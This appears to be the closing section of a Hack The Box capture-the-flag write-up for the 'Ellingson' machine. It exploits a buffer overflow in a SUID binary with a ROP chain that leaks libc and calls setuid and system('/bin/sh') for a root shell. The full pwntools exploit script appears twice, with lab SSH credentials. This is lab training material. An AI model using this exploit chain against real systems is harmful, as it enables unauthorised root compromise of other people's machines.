Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sun Mar 11 21:11:38 2019 from 192.168.1.211
margo@ellingson:~$

With our new user we proceed to some simple enumeration and we find a weird SUID binary called garbage in /usr/bin/, which immediately reveals itself to be vulnerable to a buffer overflow :

margo@ellingson:~$ /usr/bin/garbage 
Enter access password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

access denied.
Segmentation fault (core dumped)
margo@ellingson:~$

At this point we already know that this is the correct attack vector we will exploit to obtain root on this box. We download this binary with scp and analyze it locally to develop an exploit. We also verify if ASLR is enabled in this box, which is, and in Full Randomization mode :

margo@ellingson:~$ cat /proc/sys/kernel/randomize_va_space
2

Simple checkup of security properties of this executable :

root@kali:~/Desktop/htb/Ellingson# file garbage
garbage: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=de1fde9d14eea8a6dfd050fffe52bba92a339959, not stripped
root@kali:~/Desktop/htb/Ellingson# checksec ./garbage
[*] '/root/Desktop/htb/Ellingson/garbage'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

We have NX enabled, which basically prevents us from executing code on the stack. We will have to work around the ASLR and NX to get our successful exploit.

In order to do that, we will use a technique called Return Oriented Programming (ROP). Simply put, it’s a technique similar to ret2libc but we will have to build a chain of called ‘gadgets’ that we will use to create our malicious code, which finality is to call system(‘/bin/sh’) to get our shell as root.

Let’s start by download the libc shared object from the victims to help us obtain offsets for later calculations :

root@kali:~/Desktop/htb/Ellingson# scp margo@ellingson.htb:/lib/x86_64-linux-gnu/libc.so.6 ./
margo@ellingson.htb's password:
libc.so.6                                                                                        100% 1983KB 211.3KB/s   00:08

We create a pattern to leak the address of libc and found it to be 136 bytes.

root@kali:~/Desktop/htb/Ellingson# /usr/share/metasploit-framework/tools/pattern_create.rb 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2
[...snip...]
root@kali:~# /usr/share/metasploit-framework/tools/pattern_offset.rb Ad7Ad8Ad9Ae
[*] Exact match at offset 136

We now know that we will send our first 136 bytes to get the address of ripregister and overwrite it with our first gadget.

By analysing the binary we also find a password, but it reveals to be useless when using it with the binary, we will still take note and keep it for later if we ever need it.

Let’s start coding our exploit with pwn tools :

#!/usr/bin/env python

from pwn import *
#import os
#import subprocess
#import struct

s = ssh("margo", "10.10.10.139", 22, "iamgod$08")
s.checksec()

context(terminal=['tmux','new-window'])
p = s.process('/usr/bin/garbage')

context(os='linux',arch='amd64')                                                                                                                                              
context.log_level = 'DEBUG'

password = "N3veRF3@r1iSh3r3!"
junk = password + "A"*(136-17) #17 is size of password

We also need the addresses of the Procedural Linkage Table (PLT) and Global Offset Table (GOT) in the binary :

root@kali:~/Desktop/htb/Ellingson# objdump -D ./garbage | grep puts
#401050:       ff 25 d2 2f 00 00       jmpq   *0x2fd2(%rip)        # 404028 <puts@GLIBC_2.2.5>

We look out for out first gadget which will be pop rdi; retand save this address… We continue analyzing the binary for the interesting addresses and we log them :

pop_rdi = p64(0x40179b) #pop rdi; ret

#0000000000401619 <main>:
main = p64(0x401619)

#readelf -s | grep func
#the commented code is the local libc.so.6

#libc_put = 0x71910
libc_put = 0x809c0

#libc_system = 0x449c0
libc_system = 0x4f440

#libc_setuid = 0xc7500
libc_setuid = 0xe5970

# strings -a -t x libc.so.6 | grep bin/sh
#string_binsh = 0x181519
string_binsh = 0x1b3e9a

We proceed to calculate the leaked address of puts :

payload = junk + pop_rdi + puts_got + puts_plt + main
p.sendline(payload)

p.recvline()
p.recvline() #we receive 2 outputs...
leaked_puts = p.recvline()
leaked_puts = leaked_puts[-8:].strip().ljust(8,"\x00")
log.success("Leaked puts@GLIBC : 0x%x", u64(leaked_puts))

With our leaked address, we calculate the offset we need to call our system functions :

libc_base_addr = u64(leaked_puts) - libc_put
log.success("Libc base address 0x%x calculated from substracting leaked puts from libc puts (readelf -s)", libc_base_addr)

sys = p64(libc_base_addr + libc_system)
setuid = p64(libc_base_addr + libc_setuid)
sh = p64(libc_base_addr + string_binsh)

log.success("Values of sys, setuid and string /bin/sh is : 0x%x, 0x%x, 0x%x", u64(sys),u64(setuid),u64(sh))

All is left to do is to sum this up to generate our final payload :

payload = junk + pop_rdi + null + setuid + pop_rdi + sh + sys

p.sendline(payload)

p.interactive()

And by executing our python script we obtain shell as root! Here the complete exploit code I used :

#!/usr/bin/env python

from pwn import *

s = ssh("margo", "10.10.10.139", 22, "iamgod$08")
s.checksec()

context(terminal=['tmux','new-window'])
p = s.process('/usr/bin/garbage')

context(os='linux',arch='amd64')                                                                                                                                              
context.log_level = 'DEBUG'

password = "N3veRF3@r1iSh3r3!"
junk = password + "A"*(136-17)
                                                                               
puts_plt = p64(0x401050)
puts_got = p64(0x404028)
pop_rdi = p64(0x40179b) #pop rdi; ret
null = p64(0x0)

main = p64(0x401619)
libc_put = 0x809c0
libc_system = 0x4f440
libc_setuid = 0xe5970
string_binsh = 0x1b3e9a

payload = junk + pop_rdi + puts_got + puts_plt + main
p.sendline(payload)

p.recvline()
p.recvline()
leaked_puts = p.recvline()
leaked_puts = leaked_puts[-8:].strip().ljust(8,"\x00")
log.success("Leaked puts@GLIBC : 0x%x", u64(leaked_puts))

libc_base_addr = u64(leaked_puts) - libc_put
log.success("Libc base address 0x%x calculated from substracting leaked puts from libc puts (readelf -s)", libc_base_addr)

sys = p64(libc_base_addr + libc_system)
setuid = p64(libc_base_addr + libc_setuid)
sh = p64(libc_base_addr + string_binsh)

log.success("Values of sys, setuid and string /bin/sh is : 0x%x, 0x%x, 0x%x", u64(sys),u64(setuid),u64(sh))

payload = junk + pop_rdi + null + setuid + pop_rdi + sh + sys

p.sendline(payload)

p.interactive()

To summarize, we start by finding an RCE on the webserver that gives us our initial shell as hal, then find a backup of the shadow file that we use to crack the credentials for margo user. We then find an SUID binary that we exploit using a ROP chain.

As always, thanks for reading!